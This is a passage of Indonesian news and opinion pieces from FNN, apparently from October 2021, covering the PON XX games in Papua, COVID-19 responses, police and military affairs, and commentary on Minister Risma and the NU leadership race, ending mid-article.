Jayapura, FNN - Simon Tabuni, putra asli Papua yang juga pelaku usaha mikro kecil menengah (UMKM) mengungkapkan rasa terima kasihnya atas penyelenggaraan PON XX di Tanah Papua, karena dirinya merasakan secara langsung dampak positif dari kegiatan olahraga berskala nasional ini "Saya sangat berterima kasih atas terselenggaranya PON di Papua dan sebagai anak muda dan pelaku UMKM, saya merasakan dampak positif dari perhelatan ini," aku Simon Tabuni di Jayapura, Selasa. Dikatakan, bagi pelaku UMKM khususnya para wirausaha diberikan kesempatan untuk menampilkan produk-produk sehingga dapat menjadi ajang promosi. Orang-orang dari luar baik atlet maupun "official" yang mengikuti PON, datang, melihat dan membeli produk kami, sehingga produk kami juga terangkat, ungkap Simon. Semarak PON XX 2021 Papua, tidak hanya dirasakan pada saat pembukaan acara yang langsung dihadiri Presiden Republik Indonesia Joko Widodo di Stadion Lukas Enembe, Sabtu (2/10) tetapi juga disambut antusias oleh berbagai kalangan yang bermukim di propinsi tertimur Indonesia itu. Dikatakan, selain membangkitkan semangat olahraga para atlet asli Papua, perhelatan nasional ini juga berdampak positif bagi perputaran ekonomi masyarakat dan sektor industri lokal termasuk sektor ekonomi kreatif, budaya, pariwisata dan pertanian untuk suplai kebutuhan pangan. Datangnya pengunjung dalam rangka menyaksikan PON XX di Bumi Cenderawasih ini membuat bertambahnya jumlah pembeli barang-barang produk UMKM yang digelar di sekitar venue yang menjadi tempat pertandingan selama PON berlangsung yang tersebar di empat wilayah. Mama-mama Papua penjual noken yang berdagang di sekitar area juga senang karena hasil karya mereka banyak dibeli. Bahkan, saat hari pertama tiba di Jayapura, Presiden Jokowi membeli tas khas Tanah Papua langsung dari mama-mama Papua yang berdagang di pinggir jalan sambil berinteraksi dengan warga lokal. Selain dari sektor industri kecil dan menengah, dengan adanya PON XX 2021, sektor budaya dan pariwisata juga ikut merasakan dampak dari kegiatan ini. Tampilan pertunjukan tarian serta musik Tanah Papua yang beraneka ragam di pembukaan PON XX yang ditonton secara langsung oleh seluruh Indonesia, membuat kebudayaan Papua lebih dikenal dan diapresiasi masyarakat Indonesia. "Kami anak muda berterima kasih atas kunjungan Presiden yang ketujuh kalinya di Tanah Papua dan pesan beliau tentang bagaimana pemuda dapat menjadi penggerak untuk pembangunan papua," kata Simon Tabuni. (mth)

Sensasi Marah-marah Si Ratu Drama

Oleh Ady Amar *) MEMPERMALUKAN anak buah di depan khalayak, tampaknya itu jadi passion buatnya. Atau sebenarnya ia ingin menyampaikan pesan pada publik, bahwa ia sudah bekerja keras, dan itu tidak diikuti oleh bawahannya. Maka ia memantaskan bahwa kemarahan itu perlu disampaikan. Gaya mempermalukan anak buah di depan umum, itu memang kebiasaan Tri Rismaharini, Menteri Sosial RI. Biasa dipanggil dengan Risma. Kebiasaan itu dilakukan sejak ia menjabat sebagai Wali kota Surabaya. Suatu pemandangan yang biasa jika anak buah di bentak-bentak didepan umum, dan lalu awak media yang mengikuti kegiatannya mempublikasikannya. Bisa jadi itu keinginannya, setidaknya ada berita tentang "marah-marahnya" itu sampai pada publik. Risma tumbuh menjadi pribadi yang tidak punya empati pada bawahannya Jika ditemuinya telah buat kesalahan, maka kalimat dengan nada marah menghambur dari mulutnya, dengan diiringi mata melotot-lotot, seolah ia sedang memainkan lakon di panggung yang ditonton banyak orang. Pada awal mula Risma marah-marah, dan itu dimuat di televisi nasional, orang menyebut ia pemimpin tegas. Banyak yang terkagum melihat sikapnya, yang tidak menolerir sedikitpun kesalahan. Ia digadang berharap bisa sebagai pemimpin nasional. Tapi tampil dengan gaya yang berulang dan berulang, maka orang anggap ia tengah berakting. Akting dengan skenario yang diulang-ulang pastilah membosankan. Aneh jika hal itu tidak disadari Risma dan team pengarah lakunya. Norak kesan yang ditimbulkan. Seolah ia hanya bisa memerankan peran antagonis dengan mengandalkan anak buah yang diumpan untuk "dihajar" di depan publik. Berulangnya itu, seperti ada kepuasan dari diri Risma, jika ia bisa marah-marah. Kebiasaan yang diulang yang tanpa melihat orang lain suka, atau justru sebaliknya, malah muak. Risma seolah ingin jadi bagian yang terus diberitakan, dan sayang jika mengandalkan "akting" marah-marah. Gagal Kelola Emosi Orang lalu menyebut Risma itu bagai Ratu Drama (Drama Queen), karena kriteria untuk disebut demikian ada padanya. Disebut Ratu Drama, tentu jika memenuhi kriteria yang melekat pada diri seseorang. Pada Risma, itu tampak pada sikap marah-marah pada persoalan yang tidak semestinya ia harus marah besar. Ini sih sikap membesar-besarkan persoalan. Di samping tentu ada kriteria lainnya yang melekat pada diri seseorang untuk bisa disebut Ratu Drama. Setidaknya ada lebih dari lima kriteria menjadikan seseorang pantas disebut Ratu Drama. Sikap marah meledak-ledak tidak pada tempatnya, itu salah satunya. Padahal sikap andalan itu mencederai harkat seseorang, yang seolah dijadikan samsak hidup, dipermalukan dihadapan publik. Keluarga pun ikut menanggung beban malu. Risma tanpa sadar sebenarnya telah membangun suasana tidak kondusif pada bawahannya, yang bekerja dengan tekanan psikis. Maka jika Risma mengadakan kunjungan kerja ke daerah-daerah, akan disikapi dengan ketegangan suasana yang ditimbulkan. Ada ketakutan seolah tinggal terima giliran saja untuk dipermalukan, dan itu akan viral ke pelosok negeri. Entah sudah berapa kali Risma melakukan adegan marah-marah itu. Sebuah media menyebut tidak kurang dari 7 kali, ia melakukan adegan marah-marah. Tapi ada yang menghitung lebih dari itu. Tapi memang dari satu peristiwa ke peristiwa lainnya, ada intensitas narasi tidak wajar yang disampaikan Risma, dan terkesan intonasinya makin menaik dan sangat berlebihan. Terakhir saat di Gorontalo, beredar video si Ratu Drama, yang marah-marah sambil mendatangi bawahannya di kementerian Sosial, dan meluncur kalimat tidak sewajarnya, "Tak tembak kamu ya, kamu tak tembak ya." Pada video itu Risma juga menyampaikan, bahwa pihaknya tak pernah mencoret data penerima bansos dalam Data Terpadu Kesejahteraan Sosial (DTKS). Pihaknya justru memperbaiki dan menambah data tersebut secara berkala. Bisa jadi apa yang disampaikan Risma itu hal benar, tetapi mengapa mesti pakai narasi kasar dan dengan marah-marah segala. Risma sebagai pejabat tampak kurang mampu mengelola emosi dengan baik. Gampang tersulut dan meledak. Hal sama terus berulang, tidak salah jika orang menyebut itu bagian dari aktingnya. Dan jika akting marah-marah ini jadi andalan Risma, maka tidak mustahil kalimat marah-marah yang dibangunnya ke depan bisa jadi akan lebih kasar lagi. Risma seolah mengingatkan pejabat zaman kompeni dulu kala, yang wajib menebar teror dengan marah-marah guna menimbulkan ketakutan tersendiri pada rakyat negeri jajahan... Muak bagi mereka yang tidak suka melihat adegan demikian. (*) *) Kolumnis

Haedar Nashir Minta TNI Jaga Jati Diri

Yogyakarta, FNN - Ketua Umum Pimpinan Pusat (PP) Muhammadiyah Haedar Nashir meminta Tentara Nasional Indonesia (TNI) tidak terjerumus dalam berbagai bentuk penyalahgunaan kekuasaan agar bersama rakyat dapat tetap menjaga jati diri, keberadaan, keutuhan, dan persatuan Indonesia. "TNI jangan terbawa arus berbagai pertentangan kepentingan dan segala bentuk penyalahgunaan kekuasaan," kata Haedar Nashir dalam keterangan tertulis di Yogyakarta, Selasa. Dalam usia 76 tahun, ia berharap TNI mampu semakin mengokohkan jiwa kejuangan untuk sepenuhnya membela kepentingan bangsa dan negara. TNI, kata Haedar, lahir dalam derap sejarah perjuangan bersama rakyat melawan penjajah dan menjaga Indonesia pascamerdeka. Karena itu, ia menuturkan posisi dan peran kesejarahan itu menjadikan TNI memiliki tempat khusus dalam kehidupan bangsa dan negara dengan rerorientasi baru pascareformasi. "Sehingga memperoleh 'positioning' yang lebih tepat sebagai kekuatan nasional milik seluruh rakyat dan Negara Republik Indonesia," kata dia. Haedar berharap segenap anggota TNI tegak lurus berdiri di atas dasar negara Pancasila, menjunjung tinggi nilai luhur agama, berkebudayaan bangsa, dan tidak terpengaruh ideologi apa pun yang menggerogoti jiwa keindonesiaan. Menurut dia, TNI perlu meneguhkan komitmennya dalam menjaga keamanan dan kedaulatan Indonesia dari berbagai ancaman dari dalam dan luar secara tangguh dan seksama sejalan perintah konstitusi. "Bersama dengan segenap institusi kenegaraan lainnya dan seluruh komponen bangsa, TNI niscaya aktif menciptakan persatuan Indonesia agar tetap kokoh dan tidak tererosi oleh benih-benih perpecahan yang dapat meruntuhkan keberadaan dan masa depan Indonesia," ujar Haedar. Muhammadiyah sebagai kekuatan nasional yang hadir sejak perjuangan kemerdekaan sampai Indonesia merdeka serta melahirkan kadernya Soedirman sebagai Bapak TNI, kata dia, senantiasa bekerja sama dengan TNI dan komponen nasional lainnya. Bersama TNI, Muhammadiyah berkomitmen bersama-sama menjadikan Indonesia sebagai bangsa dan negara yang benar-benar merdeka, bersatu, berdaulat, adil, dan makmur sebagaimana dicita-citakan para pendiri Negara Kesatuan Republik Indonesia. "Dirgahayu TNI. TNI itu milik seluruh rakyat dan niscaya hadir bersama Indonesia," kata Haedar. (sws)

Rumania Akan Tangguhkan Operasi Non-Daruat untuk Atasi Gelombang COVID

Bucharest, FNN - Pihak berwenang Rumania akan menangguhkan kegiatan operasi non-darurat di rumah sakit pemerintah di seluruh negeri selama sebulan dan memindahkan staf untuk mengatasi gelombang pasien COVID-19 yang meningkat, kata wakil menteri dalam negeri Raed Arafat. Jumlah kasus harian infeksi virus corona baru di Rumania telah meningkat delapan kali lipat selama sebulan terakhir ke rekor tertinggi. Rumania memiliki tingkat vaksinasi COVID-19 terendah kedua di Uni Eropa (EU) dan merupakan salah satu negara anggota EU dengan tingkat kematian tertinggi akibat COVID-19. Pada Senin, Rumania hanya memiliki tiga tempat tidur perawatan intensif yang tersedia di rumah sakit, dan pemerintah sedang berjuang untuk menambah lebih banyak lagi. Pandemi COVID-19 sejauh ini menewaskan 37.677 orang di negara itu. Tayangan televisi menunjukkan para pasien dengan tangki oksigen di bangku dan di tempat tidur berdesakan di lorong rumah sakit di ibu kota Rumania, Bucharest. "Kami tidak melihat stabilisasi atau penurunan jumlah kasus dan ... kami terpaksa mengeluarkan perintah 30 hari (menangguhkan kegiatan operasi non-darurat)," kata Arafat kepada wartawan pada Senin malam. "Unit-unit darurat di rumah sakit telah menciptakan ruang di mana pasien COVID-19 dapat dirawat. Begitu tempat perawatan intensif tersedia, mereka dipindahkan, tetapi lebih banyak lagi yang akan menggantikan mereka," ujarnya. Namun, Arafat mengatakan bahwa keadaan darurat, seperti wanita hamil dan pasien kronis dalam pengobatan, dikecualikan dari aturan penangguhan tindakan operasi. Rumania juga akan meminta obat-obatan dari negara-negara lain Uni Eropa karena persediaan obata-obatannya sedikit dan mempertimbangkan untuk meminta tangki oksigen, kata Arafat. Rumania memvaksin hanya sedikit lebih dari sepertiga dari populasi orang dewasanya di tengah ketidakpercayaan masyarakat pada lembaga negara dan penyebaran informasi yang salah. Sekitar 40 persen staf medis dan pengajar di Rumania tidak divaksin. "Unit-unit perawatan intensif seperti neraka. Dan ini baru permulaan, situasinya sekarang paling kritis dalam pandemi ini," kata wakil presiden asosiasi ICU Rumania, Dorel Sandesc, kepada stasiun televisi lokal Digi 24. "Kami seperti (berada di) Bahtera Nuh yang meluap yang membuat begitu banyak orang mati-matian berpegangan," ujar Sandesc. (sws) Sumber: Reuters

Polda Malut Pecat Tujuh Anggota Polisi

Ternate, FNN - Kepolisian Daerah (Polda) Maluku Utara (Malut) melakukan pemecatan terhadap tujuh anggota jajarannya dalam apel gabungan personel Polda Malut dirangkaikan dengan pemberian penghargaan (reward) kepada personel atas dedikasinya dalam mendukung program vaksinasi COVID-19. "Selain reward, dalam apel gabungan tersebut juga dirangkaikan dengan pemberian punishment kepada tujuh personel dengan pembacaan Keputusan Kapolda Malut tentang pemberhentian tidak dengan hormat (PTDH) kepada Personel Polda Malut," kata Kaoplda Malut Irjen Pol Risyapudin Nursin, usai pelaksanaan apel gabungan yang dihadiri oleh pejabat utama dan seluruh personel Polda Malut, Selasa. Ketujuh personel Polda Malut yang diberikan hukuman PTDH, yakni Bripka Raniandini Yasa SH kesatuan Yanma Polda Malut, Bharatu Septian Munawar kesatuan Satbrimob Polda Malut, dua personel Polres Ternate Brigpol Mochamad Cholid dan Briptu Rahman Hartanto, satu personel Polres Halbar Bripda Muh Taufan Madra, satu personel Polres Halteng Briptu Abdul Taher Sepa, dan satu personel Polres Tidore Kepulauan Brigpol Ridwan Anhar. Dia menyatakan, ini membuktikan bahwa Polri dalam hal ini Polda Malut tidak pandang bulu dalam menegakkan hukum, baik itu anggota Polri maupun masyarakat apabila terbukti melakukan pelanggaran akan ditindak dengan tegas dan begitu pun sebaliknya. Dirinya menegaskan, Polda Malut juga memberikan penghargaan kepada 37 personel Polda Malut atas dedikasinya dalam mendukung program vaksinasi nasional. Kapolda menyampaikan ucapan terima kasih kepada seluruh pejabat utama dan seluruh staf Polda Malut atas dedikasi dan kedisiplinan serta kerja kerasnya dalam melaksanakan kegiatan-kegiatan secara responsif, baik kegiatan yang berupa harkamtibmas, pencegahan penyebaran COVID-19 dan pelaksanaan vaksinasi di wilayah Malut. Terkait dengan reward dan punistment, Kapolda berharap ke depannya tidak ada lagi personel Polda Malut yang melakukan pelanggaran seperti desersi dan perbuatan tidak terpuji lainnya "Untuk itu saya tekankan kepada seluruh kasatker agar melakukan pengawasan melekat kepada seluruh personelnya, sehingga mereka merasa terus terawasi dan menghilangkan niat untuk berbuat pelanggaran," ujar Kapolda. Selain itu, terkait dengan pelaksanaan percepatan vaksinasi, Kapolda berharap masing-masing personel dapat membantu dalam memobilisasi masyarakat, sehingga capaian vaksinasi di Provinsi Malut dapat terus meningkat "Dalam percepatan vaksinasi saya tekankan kepada seluruh personel untuk selalu bersinergi dengan para tokoh agama, adat maupun tokoh masyarakat, karena para tokoh ini memiliki kedekatan dengan masyarakat, sehingga lebih mudah dalam mengajak masyarakat untuk ikut vaksinasi," ujarnya. Kabid Humas Polda Malut Kombes Pol Adip Rojikan SIK MH saat dikonfirmasi terkait pemberian reward and punishment kepada personel Polda Malut menjelaskan bahwa 37 personel Polda Malut yang mendapatkam penghargaan (reward) terdiri dari 3 pamen, 2 pama, 19 bintara, 8 ASN Polri, dan 5 PHL. "Dari 37 personel ini, lima personel diberikan reward atas dedikasi mendukung program vaksinasi nasional dengan mengajak masyarakat berjumlah ratusan orang, sedangkan 28 personel diberikan reward atas dedikasinya sebagai tenaga vaksinator yang telah melaksanakan vaksinasi sebanyak 31.368 orang dari bulan Februari hingga September 2021, dan empat personel diberikan reward dalam penanganan COVID-19 sebagai paramedis di Wisma Atlet Jakarta," kata Kabid Humas. (sws)

Kapolri: Sinergitas TNI-Polri Kekuatan Strategi Hadapi Tantangan

Jakarta, FNN - Kapolri Jenderal Pol Listyo Sigit Prabowo mengatakan sinergitas TNI-Polri merupakan kunci untuk menghadapi segala bentuk tantangan dan ancaman yang masuk ke Indonesia. "Solidaritas dan sinergitas TNI-Polri mutlak diperlukan sebagai sumber kekuatan strategis dalam rangka menghadapi berbagai tantangan tugas ke depan yang semakin kompleks," kata Sigit dalam keterangan tertulis yang diterima di Jakarta, Selasa. Jenderal bintang empat itu menyebutkan salah satu soliditas dan sinergitas TNI-Polri yang dimaksud adalah TNI bersama Polri menjadi pilar utama dalam upaya menghadapi penanganan pandemi COVID-19 yang tengah melanda Indonesia dan negara-negara di belahan dunia. TNI bersama Polri, kata Sigit, bersinergi mengendalikan COVID-19 mulai dari penegakan protokol kesehatan 3M, penguatan "testing", "tracing", dan "treatment' (3T) hingga akselerasi vaksinasi COVID-19. Peran serta TNI-Polri dalam akselerasi vaksinasi ini telah membuat Indonesia berada di peringat kelima dunia dalam capaian vaksinasi berdasarkan data dari Kementerian Kesehatan RI. Tercatat hingga 4 Oktober 2021 sudah 94 juta orang Indonesia yang divaksinasi dosis pertama. Posisi ini melebihi jumlah vaksinasi Jepang sekitar 80 juta orang. Sementara untuk jumlah dosis yang digunakan, Indonesia berada di peringkat keenam dunia. Tercatat Indonesia telah menyuntikkan sebanyak 148 juta dosis vaksin COVID-19. "Pada situasi pandemi saat ini, TNI bersama Polri merupakan salah satu pilar utama dalam berbagai upaya pengendalian COVID-19 mulai penegakan protokol kesehatan 3M, penguatan 3T, maupun akselerasi vaksinasi," ujar mantan Kapolda Banten ini. Mantan Kabareskrim Polri ini mengatakan sepanjang 76 tahun berkiprah di Indonesia, TNI selalu setia menjadi garda terdepan untuk menjaga kedaulatan dan keutuhan Negara Kesatuan Republik Indonesia (NKRI), dari segala bentuk ancaman yang ada, baik yang datang dari dalam maupun luar negeri. "Dengan profesionalisme, loyalitas, dan pengabdiannya, TNI selalu hadir dalam mengawal serta menjaga pertahanan wilayah NKRI, baik di darat, laut, maupun udara," tutur Sigit. Kapolri Jenderal Pol Listyo Sigit Prabowo beserta keluarga besar Polri menyampaikan HUT Ke-76 TNI yang diperingati setiap tanggal 5 Oktober. "Saya Jenderal Polisi Listyo Sigit Prabowo Kepala Kepolisian Republik Indonesia dan Keluarga Besar Polri mengucapkan Dirgahayu TNI Ke-76. Semoga TNI semakin profesional, disiplin, militan, dan rendah hati serta dapat senantiasa mengawal Negara Kesatuan Republik Indonesia menuju Indonesia Maju, Bersatu, Berjuang, Kita Pasti Menang untuk Indonesia Tangguh, Indonesia Tumbuh," kata Sigit beserta seluruh pejabat utama Mabes Polri berpangkat Komjen Pol. Pada momentum HUT Ke-76 TNI , Sigit beserta jajaran Mabes Polri menyempatkan diri untuk memberikan kejutan dengan membawa kue ulang tahun kepada Panglima TNI Marsekal TNI Hadi Tjahjanto di kantornya di Subden Merdeka Barat Denma Mabes TNI, Merdeka Barat, Jakarta Pusat. Panglima TNI mengapresiasi kejutan kecil yang diberikan Kapolri beserta jajaran serta ucapan terima kasih kepada seluruh jajaran Korps Bhayangkara. Menurut Hadi, sepanjang menjabat sebagai Panglima, dalam menjalankan tugas dirinya selalu mendapatkan dukungan ataupun bentuk sinergitas lain dari jajaran Polri. "Diujung masa pengabdian saya pada HUT Ke-76 TNI, saya mengucapkan terima kasih banyak kepada jajaran Polri atas kerja sama dan sinergitas kurang lebih selama empat tahun saya menjabat Panglima TNI telah didukung penuh oleh Polri," kata Panglima. Dalam kesempatan itu, Panglima Hadi menitip amanat kepada penerusnya untuk tetap menjaga soliditas dan sinergitas yang sudah baik dengan jajaran Polri setelah dirinya purnatugas. "Dan saya mengharapkan pada akhir pengabdian saya, junior-junior saya nanti akan melanjutkan apa yang sudah menjadi komitmen antara TNI-Polri dengan tetap menjaga sinergi TNI-Polri. Dengan bersinergi kita TNI-Polri akan bersatu, berjuang, pasti kita menang," pesan Panglima.(sws)

Anggota DPR: TNI Aktif Dukung Vaksinasi COVID-19

Jakarta, FNN - Anggota Komisi I DPR RI Dave Laksono menyatakan Tentara Nasional Indonesia (TNI) sangat aktif dalam mendukung kesuksesan vaksinasi COVID-19. "TNI begitu aktif TNI menjemput bola kepada mereka yang sulit mendapatkan vaksin," kata Dave dihubungi di Jakarta, Selasa. Dave mengapresiasi kolaborasi TNI bersama Polri yang terus berupaya mencapai target vaksinasi di Indonesia. Dia mencontohkan, salah satunya dengan program serbuan vaksin oleh TNI. "Kegiatan vaksinasi itu menjangkau wilayah terdepan dan terluar di Indonesia, bahkan wilayah-wilayah kepulauan," kata Dave. Dave menyatakan kondisi institusi TNI hari ini terus membaik dengan melakukan berbagi macam reformasi sesuai dengan kebutuhan zaman. Bahkan, kata dia, TNI semakin responsif dengan permintaan masyarakat dan selalu bisa menempatkan posisi dalam berbagai macam situasi dan kondisi. "Walaupun postur anggaran memang masih belum menyentuh kebutuhan ideal, akan tetapi itu sesuai dengan kondisi keuangan negara. Tentunya harus bisa menyesuaikan," kata Dave. Dave mengucapkan HUT Ke-76 TNI yang diperingati setiap tanggal 5 Oktober. Dia berharap TNI terus menjadi penopang utama negara, selalu mengawal, dan melindungi bangsa, khususnya dalam menjaga kedaulatan bangsa. Sebelumnya, Presiden RI Joko Widodo (Jokowi) menyampaikan keberhasilan dalam menangani pandemi COVID-19 tak terlepas dari peran besar Tentara Nasional Indonesia (TNI) yang profesional dalam setiap penugasan, baik perorangan maupun satuan. Presiden dalam Peringatan HUT Ke-76 TNI di halaman depan Istana Merdeka, Jakarta, Selasa, mengatakan TNI selalu menunjukkan profesionalisme dalam memanfaatkan ilmu pengetahuan dan teknologi, termasuk dalam mengoptimalkan alat utama sistem senjata (alutsista) guna mencapai keberhasilan tugas. “Keberhasilan kita dalam menangani pandemi COVID-19 ini tidak terlepas dari peran besar TNI, TNI yang selalu menunjukkan profesionalisme dalam setiap penugasan,” kata Presiden Jokowi. (sws)

Australia Akan Beli 300.000 Dosis Pil Anti Virus Corona

Sydney, FNN - Australia akan membeli 300.000 dosis pil eksperimental anti virus corona --Molnupiravir-- buatan perusahaan farmasi Merck & Co, kata Perdana Menteri Scott Morrison pada Selasa. Australia berupaya meningkatkan pasokan vaksin untuk memerangi COVID-19 dan membuka kembali perbatasannya pada November. Jika mendapat persetujuan penggunaan, Molnupiravir menjadi obat oral anti virus pertama untuk COVID-19. Menurut para ahli, Molnupiravir dapat mengurangi risiko gejala barat dan kematian pada pasien COVID-19. Merck, pekan lalu, berencana untuk mengupayakan persetujuan penggunaan darurat di Amerika Serikat untuk pil anti virus buatannya. Merck juga membuat pengajuan izin penggunaan pil itu di seluruh dunia, termasuk Australia. "Pengobatan ini menunjukkan bahwa kita akan dapat hidup berdampingan dengan virus (corona)," kata Morrison. Pekan lalu, Morrison mengatakan larangan warga Australia untuk bepergian ke luar negeri akan dicabut mulai November. Kebijakan itu berlaku bagi warga Australia yang tinggal di negara-negara bagian dengan tingkat vaksinasi yang tinggi. Morrison mengatakan Australia akan menerima pengunjung internasional pada 2022 karena pelonggaran terbaru pembatasan di perbatasan hanya berlaku untuk warga negara dan penduduk tetap Australia. Australia mengejar pembukaan kembali yang lebih cepat dengan tingkat vaksinasi yang lebih tinggi. Pemerintah mengunci Sydney, Melbourne, dan Canberra selama berminggu-minggu untuk memerangi varian Delta yang lebih menular. Tingkat vaksinasi dosis pertama pada populasi orang dewasa diperkirakan akan mencapai 80 persen pada Selasa. Sydney, kota terbesar di negara itu, siap untuk keluar dari penguncian (lockdown) pada 11 Oktober. (sws) Sumber : Reuters

PON Papua - Jawa Barat Geser Tuan Rumah di Klasemen Perolehan Medali

Jayapura, FNN - Kontingen Jawa Barat mulai menunjukkan taringnya dan sukses menggeser posisi tuan rumah pada klasemen sementara perolehan medali Pekan Olahraga Nasional (PON) XX Papua setelah beberapa cabang unggulannya mampu meraih hasil terbaik. Berdasarkan data resmi dari PB PON hingga Selasa hingga pukul 13.00 WIT, kontingen Jabar mampu mengumpulkan 32 medali emas, 29 perak dan 37 perunggu. Sedang tuan rumah Papua tergeser ke posisi tiga dengan 32 emas, 15 perak dan 35 perunggu. Untuk posisi puncak hingga saat ini masih dikuasai oleh kontingen DKI Jakarta dengan raihan 39 emas, 27 perak dan 32 perunggu. Bagi kontingen Jabar, mampu merangsek ke papan atas merupakan tujuan utamanya, apalagi tim Tanah Pasundan ini datang ke Bumi Cenderawasih dengan status juara bertahan pesta olahraga nasional empat tahunan ini. Pundi-pundi emas kontingen Jabar hari ini, salah satunya disumbangkan dari atletik melalui pelari senior Agus Prayogo yang turun di nomor lari 5.000 putra yang berlangsung di GOR Mimika Sport Complex (MSC), Mimika, Papua. Selain itu, pundi-pundi emas juga dipersembangkan Fadlan Prawira dari renang perairan terbuka. Medali emas dari provinsi yang dipimpin oleh Ridwan Kamil itu datang dari selam hingga binaraga. Khusus untuk Agus Prayogo, kemungkinan besar bakal menambahkan koleksi emasnya karena masih akan turun di dunia nomor marathon dan 10.000 meter. Memasuki hari keempat PON Papua usai dibuka oleh Presiden Joko Widodo, persaingan dalam mengumpulkan medali semakin ketat. Tidak hanya persaingan antara DKI Jakarta, Jawa Barat dan Papua, Jawa Timur pun kini mulai memberikan ancaman yang serius. Saat ini kontingen Jawa Timur berada di posisi empat dengan raihan 26 medali emas, 26 perak dan 22 perunggu. Untuk posisi lima ada Bali dengan 11 emas, 4 perak dan 12 perunggu. PON Papua mempertandingkan 37 cabang olahraga, 56 disiplin dan 681 nomor pertandingan. Dalam pelaksanaannya, PON Papua yang berlangsung 2 hingga 15 Oktober terselenggara di empat klaster berbeda, yaitu Kabupatan dan Kota Jayapura, Kabupaten Mimika, serta Kabupaten Merauke. (sws)

Pengamat: Partai Buruh Harus Unik untuk Bersaing Dengan Partai Besar

Jakarta, FNN - Pengamat politik dari Universitas Pelita Harapan (UPH) Emrus Sihombing berpandangan bahwa Partai Buruh harus memiliki keunikan untuk dapat bersaing dengan partai-partai besar pada ajang perpolitikan Indonesia. “Pokoknya harus ada keunikan. Sepanjang tidak ada keunikan, menurut saya akan sangat susah bagi Partai Buruh untuk bertarung menghadapi partai-partai papan atas atau partai-partai yang sudah lama,” kata Emrus ketika dihubungi dari Jakarta, Selasa. Partai Buruh, menurut Emrus, harus memiliki keunikan untuk dapat menarik perhatian publik dan memperoleh kepercayaan publik, agar dapat memenangkan kursi legislatif maupun eksekutif. “Misalkan, maukah mereka mengatakan bahwa mereka berada di tengah-tengah masyarakat dan akan menggunakan segala kekuatan partai untuk mengatasi permasalahan ketika masyarakat mengalami persoalan seperti COVID-19 atau bencana alam,” ujar Emrus pula. Ia berpandangan, ketika Partai Buruh menyatakan hal tersebut dan dapat merealisasikan ucapannya, maka akan menunjukkan bahwa Partai Buruh benar-benar ada bersama rakyat, tidak elitis, dan tidak sekadar menebar janji. “Selanjutnya, maukah mereka mengatakan bahwa semua kader politik (Partai Buruh, Red.) akan membuka kekayaan mereka secara transparan. Tidak harus menjadi anggota legislatif atau eksekutif dulu baru melapor ke KPK,” kata dia lagi. Apabila harta kekayaan kader tidak sesuai dengan laporan, Emrus melanjutkan, Partai Buruh harus mau membuat pernyataan bahwa kader tersebut telah melakukan tindakan yang tidak benar dan bertanggung jawab atas tindakan tersebut. “Itu semua dapat dilakukan supaya ada keunikan. Kalau tidak ada keunikan, saya pikir tidak berbeda dengan partai-partai baru lainnya. Jangankan untuk bertarung dengan partai besar, dengan partai menengah pun akan sulit,” kata Emrus. Sebelumnya, Presiden Konfederasi Serikat Pekerja Indonesia (KSPI) Said Iqbal menyatakan bahwa Partai Buruh akan bangkit kembali dan menggelar kongres untuk mencari pemimpin baru pada 4-5 Oktober 2021 di Jakarta. Wakil Ketua DPR RI Sufmi Dasco Ahmad mengapresiasi rencana KSPI untuk membentuk kembali Partai Buruh dan berpandangan bahwa kehadiran Partai Buruh dapat menyalurkan aspirasi para buruh dengan maksimal. (sws)

Muktamar-34: Secara Etika, Muhaimin Masih “Bermasalah” (3)

Oleh: Mochamad Toha Seperti yang sempat disinggung dalam tulisan sebelumnya, Calon Ketum PBNU terkuat menjadi Ketum PBNU diantaranya adalah Abdul Muhaimin Iskandar, Yahya Cholil Staquf, dan Said Aqil Siradj. Mereka memang mempunyai kekuatan dari sisi finansial, kekuasaan, dan jabatan. Tetapi, belum memenuhi atau setidaknya belum memiliki konsep yang jelas bagaimana menata arah NU agar kembali ke khittahnya. Said Aqil Siradj alias SAS sudah jelas kiprahnya selama jadi Ketum PBNU. Berbagai manuver politik telah mewarnai saat memimpin warga Nahdliyin. SAS lebih banyak diam meski melihat rakyat tergencet ekonominya. Dia tampak lebih bangga saat NU menerima “hibah” lahan 10 ha di daerah Jonggol yang sebenarnya status hukumnya masih belum jelas, dan sedang “bermasalah” dengan rakyat terkait PT Sentul City Tbk. Siapapun yang terpilih menjadi Ketum PBNU diantara Ketum DPP PKB dan Katib Aam PBNU, SAS masih berpeluang menjadi Rois Syuriah PBNU. Baik Muhaimin atau Yahya yang terpilih, SAS bisa jadi Rois Syuriah. Bagaimana peluang Muhaimin alias Imin dan Yahya? Menurut informasi dari beberapa PWNU, sepertinya dalam hal ini Imin yang paling siap untuk mengkondisikan PWNU dan PCNU. Karena Imin mengerahkan seluruh pengurus PKB Kabupaten/Kota seluruh Indonesia untuk melakukan pendekatan kepada pengurus PWNU/PCNU di seluruh Indonesia. Sedekar mengingat saja, Muktamar ke-33 NU di Jombang, dinilai sebagian ulama, style atau gayanya sudah seperti Muktamarnya PKB. Karena ketua panitianya Saifullah Yusuf yang saat itu menjabat Wagub Jatim. “Muktamar NU di Jombang adalah Muktamar NU yang paling buruk/parah sepanjang digelarnya Muktamar NU. Di sanalah terjadinya money politic, premanisme, dan lain-lain,” kata seorang ulama NU. Sebelumnya, Ketua Panitia Pengarah Munas dan Konbes Nahdlatul Ulama (NU) KH Ahmad Ishomuddin menyampaikan Muktamar ke-34 NU bakal diselenggarakan pada 23-25 Desember 2021 di Lampung. Kesepakatan itu diputuskan Komisi Bahtsul Masail Qanuniyah pada Munas Alim Ulama dan Konferensi Besar Nahdlatul Ulama yang menghasilkan 9 kesepakatan, salah satunya soal jadwal Muktamar NU Lampung. Dia menyebut forum itu juga menyepakati, untuk pemilihan Ketum PBNU dilakukan melalui pemungutan suara one man one vote, sedangkan untuk Rais Aam PBNU dilakukan secara perwakilan (ahlul halli wal aqdi). “Persis seperti Muktamar Ke-33 NU di Jombang,” kata Kiai Ishomuddin dalam konferensi pers secara virtual di Gedung PBNU, Jakarta, Ahad (26/9/2021). Yang juga perlu jadi pertimbangan lainnya sebelum menentukan pilihan diantara Imin dan Yahya adalah apakah mereka clean and clear selama menjabat di organisasi politik atau keagamaan. Ini bisa dilihat dari jejak digital Imin dan Yahya. Untuk lebih jelasnya, kita lihat satu per satu saja. Supaya lebih teliti dan cermat lagi. Bagaimana Imin bisa meraih jabatannya sebagai Ketum PKB. Imin memperoleh jabatan Ketum PKB dengan jalan “tidak terpuji”, yakni memunculkan konflik terlebih dahulu di internal parpol. Hingga menjelang wafatnya KH Abdurrahman Wahid alias Gus Dur, Imin sebenarnya masih “bermasalah” dengan keluarga Presiden RI ke-4 tersebut terkait 